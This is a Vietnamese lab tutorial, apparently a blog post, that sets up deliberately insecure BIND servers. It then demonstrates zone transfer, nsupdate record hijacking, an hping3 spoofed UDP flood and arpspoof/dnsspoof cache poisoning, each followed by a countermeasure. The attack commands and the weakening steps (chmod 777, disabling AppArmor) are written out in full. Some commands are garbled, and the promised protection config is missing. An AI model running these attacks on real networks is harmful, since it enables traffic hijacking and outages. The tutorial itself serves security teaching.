Logo
Featured Image

Tấn công và giải pháp bảo vệ trên DNS : Cache Poisoning, Zone Transfer, DOS, Dynamic Update

Author
Tobi 29/03/2026 7 views

Chuẩn Bị

1. Sơ đồ thiết bị và Quy hoạch IP

Hệ thống mạng được quy hoạch trong dải IP 192.168.1.0/24, bao gồm 4 thành phần chính phục vụ cho kịch bản phòng thủ và tấn công DNS:

Thành phần mạng Vai trò IP Address
Primary DNS (Master) Máy chủ DNS chính, chứa bản ghi gốc của zone com.quyenlt. 192.168.1.10
Secondary DNS (Slave) Máy chủ DNS phụ, đồng bộ bản ghi từ Primary để dự phòng. 192.168.1.11
Attacker (Kali Linux) Đóng vai trò hacker, cố gắng khai thác lỗi Zone Transfer. 192.168.1.20
Victim (VPCS/Windows) Máy người dùng bình thường truy vấn DNS. 192.168.1.30

Link tải máy DNS trên bài lab, tải về và giải nén tương tự phần 4.Cài đặt "Kẻ tấn công" Kali Linux ở bài setup EVE nhé :

wget https://cdn.quyenlt.com/tobi/linux-metasploitable-2.0.0.tar.gz


2. Cấu hình DNS 

Trên DNS Master

Lưu ý : Thao để có thể SSH vào 2 con DNS này, chúng ta cấp mạng cho nó và cấp IP cho nó bằng lệnh sau

dhclient eth1 # lệnh cấp IP ví dụ nó cấp IP 192.168.223.129
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedKeyTypes=+ssh-rsa [email protected]
export TERM=xterm  #lệnh fix lỗi 
echo "export TERM=xterm" >> ~/.bashrc
sourcre ~/.bashrc

Mở Console/VNC của Metasploitable, gõ lệnh cấp IP tạm thời để dùng Kali SSH sang cho dễ copy/paste:

sudo ifconfig eth0 192.168.1.10 netmask 255.255.255.0 up

(Sau đó dùng Terminal Kali SSH vào bằng lệnh: ssh [email protected], mật khẩu msfadmin, rồi gõ sudo su để lên quyền root).

Bước 2.1: Tạo bẫy lỗ hổng trên file cấu hình chính

nano /etc/bind/named.conf.local

Thêm đoạn sau vào cuối file:

zone "com.quyenlt" {
    type master;
    file "/etc/bind/db.com.quyenlt";
    allow-transfer { any; }; 
    allow-update { any; }; 
};

Bước 2.2: Tạo file danh bạ (Zone file) chứa dữ liệu bí mật

nano /etc/bind/db.com.quyenlt

Dán nội dung sau vào:

$TTL    604800
@       IN      SOA     ns.com.quyenlt. admin.com.quyenlt. (
                              3         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@       IN      NS      ns.com.quyenlt.
@       IN      A       192.168.1.10
ns      IN      A       192.168.1.10
www     IN      A       192.168.1.10
db      IN      A       192.168.1.100

Bước 2.3: Phân quyền và Khởi động lại dịch vụ DNS

sudo chown -R bind:bind /etc/bind/
chmod 777 /etc/bind /etc/init.d/bind9 restart

Chuẩn bị lỗ hổng để tấn công Dynamic Update :

# 1. Cấp quyền Write/Execute tối đa (777) cho cả thư mục và file để đảm bảo không bị chặn
sudo chmod 777 /etc/bind
sudo chmod 777 /etc/bind/db.com.quyenlt

# 2. Tắt dịch vụ AppArmor (Tấm khiên ngầm của Linux thường xuyên cấm BIND9 ghi file)
sudo /etc/init.d/apparmor stop
sudo /etc/init.d/apparmor teardown

# 3. Khởi động lại BIND9 để áp dụng trạng thái mới
sudo /etc/init.d/bind9 restart

Trên DNS Slave

Khởi động máy Secondary DNS (máy mới thêm vào) và thiết lập IP tĩnh để nó gia nhập mạng:

sudo ifconfig eth0 192.168.1.11 netmask 255.255.255.0 up

Khai báo cho máy Secondary biết vai trò của nó là Slave và địa chỉ của máy Primary để kéo dữ liệu về.

  • Mở file cấu hình BIND trên máy Secondary:

    sudo nano /etc/bind/named.conf.local
    
  • Thêm đoạn cấu hình sau vào cuối file:

    zone "com.quyenlt" {
        type slave;
        masters { 192.168.1.10; };
        file "/var/cache/bind/db.com.quyenlt.slave"; // Thư mục này cho phép ghi dữ liệu đồng bộ
    };
    
  • Lưu lại và khởi động lại dịch vụ DNS:

    sudo /etc/init.d/bind9 restart
    

3. Cấu hình Kẻ tấn công (Kali Linux)

Làm sao để máy Kali có IP tĩnh và nhớ luôn DNS, khởi động lại không mất. Mở Terminal Kali và gõ:

Bước 3.1: Ghi IP tĩnh vào cấu hình mạng

sudo nano /etc/network/interfaces

Kéo xuống dưới cùng và thêm đoạn này:

auto eth0
iface eth0 inet static
    address 192.168.1.20
    netmask 255.255.255.0

Bước 3.2: Ép Kali dùng DNS Server của mục tiêu

echo "nameserver 192.168.1.10" | sudo tee /etc/resolv.conf

Bước 3.3: Khởi động lại card mạng để nhận IP tĩnh

sudo ifdown eth0 && sudo ifup eth0

4. Cấu hình Nạn nhân (VPCS)

Mở Console của VPCS, gõ các lệnh sau để nhận IP, trỏ DNS và lưu vĩnh viễn:

VPCS> ip 192.168.1.30 255.255.255.0
VPCS> ip dns 192.168.1.10
VPCS> save

5. Kiểm tra chéo (Ping Test)

Trước khi bắt đầu bất kỳ bài tấn công nào, hãy đảm bảo hệ thống đã thông suốt bằng cách đứng từ máy Kali và VPCS gõ lệnh:

ping com.quyenlt -c 4

Để kiểm tra xem con Secondary DNS (.11) đã rút thành công bản ghi từ con Primary DNS (.10) về chưa, bạn làm 2 cách kiểm tra cực nhanh sau:

Cách 1: Đóng vai người dùng hỏi thử (Dễ nhất)

Bạn mở Terminal của máy Kali Linux (hoặc mở luôn trên con Secondary cũng được), gõ lệnh hỏi trực tiếp con Secondary xem nó có biết đường tới trang web không:

dig @192.168.1.11 www.com.quyenlt

(Giải thích: Ê máy chủ .11, mày có biết IP của www.com.quyenlt là gì không?)

Kết quả: Nếu trong phần ANSWER SECTION nó trả về địa chỉ IP 192.168.1.10 thì xin chúc mừng! Con Secondary đã copy thành công toàn bộ trí nhớ của con Primary.

Cách 2: Kiểm tra "Sổ tang" (Log) của hệ thống (Chắc cú 100%)

Khi 2 con DNS đồng bộ với nhau, chúng sẽ ghi lại lịch sử vào file Log của hệ thống. Bạn đứng trên máy Secondary DNS (.11) và gõ lệnh xem log:

grep named /var/log/syslog | tail -n 10

Kết quả: Nếu bạn thấy những dòng chữ có nội dung đại loại như:

  • Transfer of 'com.quyenlt/IN' from 192.168.1.10... successfully

  • Zone com.quyenlt/IN: transferred serial 3

Thì đó là "bằng chứng thép" cho thấy quá trình Zone Transfer hợp lệ (giữa Master và Slave) đã diễn ra hoàn hảo.


Thực Hành Tấn Công và Bảo Vệ

Thực hành Tấn công: Zone Transfer và Dynamic Update

Tấn công Zone Transfer : Gõ lệnh sau để yêu cầu truyền toàn bộ vùng dữ liệu (AXFR) của tên miền

dig axfr com.quyenlt @192.168.1.10

Kết quả thành công sẽ thấy hết tất cả cấu hình bản ghi DNS của máy chủ DNS này :

Tấn công Dynamic Update : Mục tiêu sẽ đổi giá trị bản ghi www.com.quyenlt sang IP máy Kali nhé.

Kiểm tra trạng thái trước khi tấn công

ping www.com.quyenlt

Đi vào tấn công : chúng ta sẽ sử dụng công cụ nsupdate (một công cụ dòng lệnh đi kèm mặc định để tương tác với máy chủ DNS).

Bạn mở terminal và gõ chính xác các lệnh sau, lệnh này để đổi IP từ .10 sang IP .20 là IP của máy kalinux :

root@kali:~# nsupdate
> server 192.168.1.10
> update delete www.com.quyenlt A
> update add www.com.quyenlt 86400 A 192.168.1.20
> send
> quit

Như vậy là đã tấn công thành công. Hoặc nên test ping trên VPCS nhé.

Đào sâu hệ thống.

Để chứng tỏ bạn thực sự hiểu bản chất hoạt động của hệ điều hành Linux chứ không chỉ biết gõ lệnh lừa VPCS, hãy cung cấp thêm một bằng chứng nữa ngay trên chính con Server DNS .10.

Khi dịch vụ BIND9 nhận được một lệnh Dynamic Update từ bên ngoài, nó KHÔNG ghi đè trực tiếp chữ vào cái file gốc /etc/bind/db.com.quyenlt ngay lập tức. Thay vào đó, nó sẽ sinh ra một file nhật ký (Journal file) để lưu trữ sự thay đổi này.

Bạn lên máy chủ DNS .10, gõ lệnh liệt kê các file trong thư mục:

ls -l /etc/bind/

Kết quả mong đợi: Bạn sẽ thấy xuất hiện một file mới toanh có tên là db.com.quyenlt.jnl. Đây chính là "tang chứng vật chứng" rõ ràng nhất cho thấy dữ liệu giả mạo của Kali đã được máy chủ chấp nhận và ghi sâu vào trong hệ thống cơ sở dữ liệu của nó.

Giải pháp bảo vệ .

Giải pháp bảo vệ cả kịch bản tấn công trên 

Bản chất: Không cho phép người lạ tải về toàn bộ cơ sở dữ liệu tên miền. Chỉ máy chủ Secondary DNS mới có quyền này để đồng bộ dự phòng.

Cấu hình trên Primary DNS (192.168.1.10): Mở file /etc/bind/named.conf.local và sửa tham số allow-transfer  và allow-update chỉ định chính xác IP của máy chủ phụ: 192.168.1.11

nano /etc/bind/named.conf.local

 

Kiểm tra bằng cách tấn công lại thử nhé. Lúc này sẽ không thành công gì cả.

 

Thao khiên : Thao khiên ra để còn demo lại nhé.

nano /etc/bind/named.conf.local

 

Thực hành Tấn công: DoS (DNS UDP Flood)

1. Mục tiêu và Bản chất: Hacker sử dụng kỹ thuật xả lũ (Flood) để gửi hàng vạn gói tin truy vấn giả mạo vào cổng 53 (UDP) của máy chủ DNS trong thời gian cực ngắn. Mục đích làm cạn kiệt tài nguyên xử lý (CPU/RAM) và băng thông mạng, khiến máy chủ không thể phục vụ các truy vấn hợp lệ từ người dùng thật.

Kiểm tra trạng thái trước khi tấn công bằng cách ping tới domain nhé.

ping com.quyenlt

2. Thực thi trên máy Hacker (Kali Linux - 192.168.1.20): Sử dụng công cụ hping3 để tạo ra lượng traffic rác khổng lồ, đồng thời dùng tham số --rand-source để sinh ra các địa chỉ IP nguồn ngẫu nhiên nhằm giấu vết và qua mặt các bộ lọc đơn giản.

# Lệnh tấn công ngập lụt UDP vào cổng 53 của DNS Server
sudo hping3 --udp -p 53 --flood --rand-source 192.168.1.10

3. Hậu quả (Nghiệm thu trên máy nạn nhân VPCS - 192.168.1.30): Khi máy chủ Primary DNS (192.168.1.10) bị quá tải, trên máy VPCS gõ lệnh kiểm tra:

ping com.quyenlt

Kết quả: Hệ thống báo Timeout hoặc Cannot resolve com.quyenlt. Máy chủ DNS đã "chết lâm sàng", toàn bộ mạng nội bộ bị tê liệt do không thể phân giải được tên miền.

 

Biện pháp bảo vệ :  chúng ta sẽ cấu hình Tường lửa (iptables) của Linux để áp các rules bảo vệ (cấu hình trên con DNS .10 nhé.)

# 1. Xóa sạch các luật cũ 
sudo iptables -F

# 2. KHAI BÁO KHÁCH VIP: Chỉ đích danh IP của VPCS (.30) và Secondary DNS (.11) được phép qua cửa
sudo iptables -A INPUT -p udp --dport 53 -s 192.168.1.30 -j ACCEPT
sudo iptables -A INPUT -p udp --dport 53 -s 192.168.1.11 -j ACCEPT

# 3. ĐÓNG SẬP CỬA: Vứt bỏ toàn bộ các yêu cầu từ IP lạ (bao gồm cả đống IP nặc danh của Kali)
sudo iptables -A INPUT -p udp --dport 53 -j DROP

Thao khiên :

# 1. Xóa sạch các luật cũ 
sudo iptables -F

Thực hành Tấn công: Cache Poisoning (DNS Spoofing)

Bước 1: Chế tạo "thuốc độc" (Bản ghi giả mạo) Trên máy Attacker (Kali), bạn cần tạo một file chứa các bản ghi DNS giả mạo để lừa nạn nhân. Mở terminal và tạo một file tên là hosts.txt:

nano hosts.txt

Thêm dòng sau vào file (Cấu trúc: [IP Hacker] [Tên miền muốn lừa]):

192.168.1.20 www.com.quyenlt
192.168.1.20 com.quyenlt

Lưu và thoát (Ctrl+O, Enter, Ctrl+X). (Mẹo: Bạn có thể bật sẵn dịch vụ Apache trên Kali sudo systemctl start apache2 để khi nạn nhân truy cập, họ sẽ thấy một trang web giả do bạn tạo sẵn).

Bước 2: Bật IP Forwarding (Chuyển tiếp gói tin) Để nạn nhân không bị mất kết nối mạng hoàn toàn khi bạn đứng giữa (MITM), bạn phải cho phép Kali chuyển tiếp các gói tin:

echo 1 > /proc/sys/net/ipv4/ip_forward

Bước 3: Triển khai "Trình đánh hơi" (ARP Spoofing) Bạn sẽ lừa máy Victim (192.168.1.30) tin rằng máy Kali (192.168.1.20) chính là máy chủ DNS (192.168.1.10). Mở một tab terminal mới và gõ lệnh:

sudo arpspoof -i eth0 -t 192.168.1.30 192.168.1.10

(Để terminal này chạy ngầm, không tắt).

Bước 4: Tiêm thuốc độc (Thực thi DNS Spoofing) Bây giờ mọi truy vấn DNS của nạn nhân đều chạy qua máy Kali. Mở thêm một tab terminal thứ 3 và dùng công cụ dnsspoof để trả lời bằng cái file giả mạo vừa tạo ở Bước 1:

sudo dnsspoof -i eth0 -f hosts.txt

Lúc này dnsspoof đang lắng nghe. Bất cứ khi nào nạn nhân hỏi IP của com.quyenlt, nó sẽ lập tức ném cái IP 192.168.1.20 ra trả lời trước khi DNS Server thật kịp lên tiếng.

Cấu hình tường lửa chặn không cho các gói tin hỏi DNS (port 53) đi qua nó để đến máy chủ thật nữa. Chỉ có dnsspoof được quyền trả lời.

Mở terminal mới trên Kali và gõ lệnh sau:

sudo iptables -A FORWARD -p udp --dport 53 -j DROP

Bước 5: Nạn nhân sập bẫy (Kiểm tra trên máy Victim) Chuyển sang máy Victim (192.168.1.30) và thử truy vấn tên miền:

VPCS> ping www.com.quyenlt

Kết quả mong đợi: Thay vì ping đến IP của máy chủ web thật, bạn sẽ thấry nó đang ping thẳng vào IP của máy Kali (192.168.1.20). Thành công rực rỡ!


BẬT KHIÊN BẢO VỆ (Cấu hình DAI chống ARP Spoofing)

  • Lên máy Metasploitable (192.168.1.10), gõ lệnh ifconfig eth0.

  • Ghi lại cái địa chỉ HWaddr (MAC). Ví dụ: 00:50:56:xx:xx:xx. (Đổi dấu : thành dấu . để lát nhập vào Switch, ví dụ: 0050.56xx.xxxx).

Mục tiêu: Cấp quyền "người nhà" (Trust) cho Node4, VPC và máy Linux .11. Trói chặt cổng e0/1 của Kali ở chế độ Untrusted (không tin cậy) để Switch tự động soi và ném bỏ các gói tin ARP giả mạo.

Trên màn hình Console của SW1, bạn gõ:

SW1> enable
SW1# configure terminal

! 1. TẠO "SỔ ĐỎ" (ARP ACL) ĐỂ NHẬN DIỆN MÁY CHỦ THẬT
! (Lưu ý: Thay 0050.56xx.xxxx bằng địa chỉ MAC thật của máy Node4)
SW1(config)# arp access-list CHONG_SPOOFING
SW1(config-arp-nacl)# permit ip host 192.168.1.10 mac host 0050.56xx.xxxx 
SW1(config-arp-nacl)# exit

! 2. BẬT TÍNH NĂNG KIỂM TRA (DAI) TRÊN TOÀN MẠNG
SW1(config)# ip arp inspection filter CHONG_SPOOFING vlan 1
SW1(config)# ip arp inspection vlan 1

! 3. PHÂN QUYỀN CỔNG (CỰC KỲ QUAN TRỌNG)
! Cấp quyền "Tin cậy" (Trust) cho e0/0 (Node4), e0/2 (VPC), và e0/3 (Linux .11)
SW1(config)# interface e0/0
SW1(config-if)# ip arp inspection trust
SW1(config-if)# interface e0/2
SW1(config-if)# ip arp inspection trust
SW1(config-if)# interface e0/3
SW1(config-if)# ip arp inspection trust
SW1(config-if)# exit

! Cổng e0/1 của Kali không được cấp quyền, tự động bị Switch giám sát ngặt nghèo.

PHẦN 2: THÁO KHIÊN BẢO VỆ (Dọn đường để tấn công)

Mục tiêu: Tước bỏ mọi quyền hạn và bộ lọc, biến SW1 trở lại thành một chiếc Switch thông thường để chuẩn bị cho các đòn tấn công mạng tiếp theo.

Vẫn trên màn hình Console của SW1, bạn gõ:

SW1> enable
SW1# configure terminal

! 1. TƯỚC QUYỀN "TIN CẬY" CỦA CÁC CỔNG NGƯỜI NHÀ (e0/0, e0/2, e0/3)
SW1(config)# interface e0/0
SW1(config-if)# no ip arp inspection trust
SW1(config-if)# interface e0/2
SW1(config-if)# no ip arp inspection trust
SW1(config-if)# interface e0/3
SW1(config-if)# no ip arp inspection trust
SW1(config-if)# exit

! 2. TẮT TÍNH NĂNG KIỂM TRA DAI TRÊN TOÀN MẠNG
SW1(config)# no ip arp inspection filter CHONG_SPOOFING vlan 1
SW1(config)# no ip arp inspection vlan 1

! 3. XÓA SẠCH "SỔ ĐỎ" CHO GỌN GÀNG
SW1(config)# no arp access-list CHONG_SPOOFING

 

Bình luận (0)

+ =
Zalo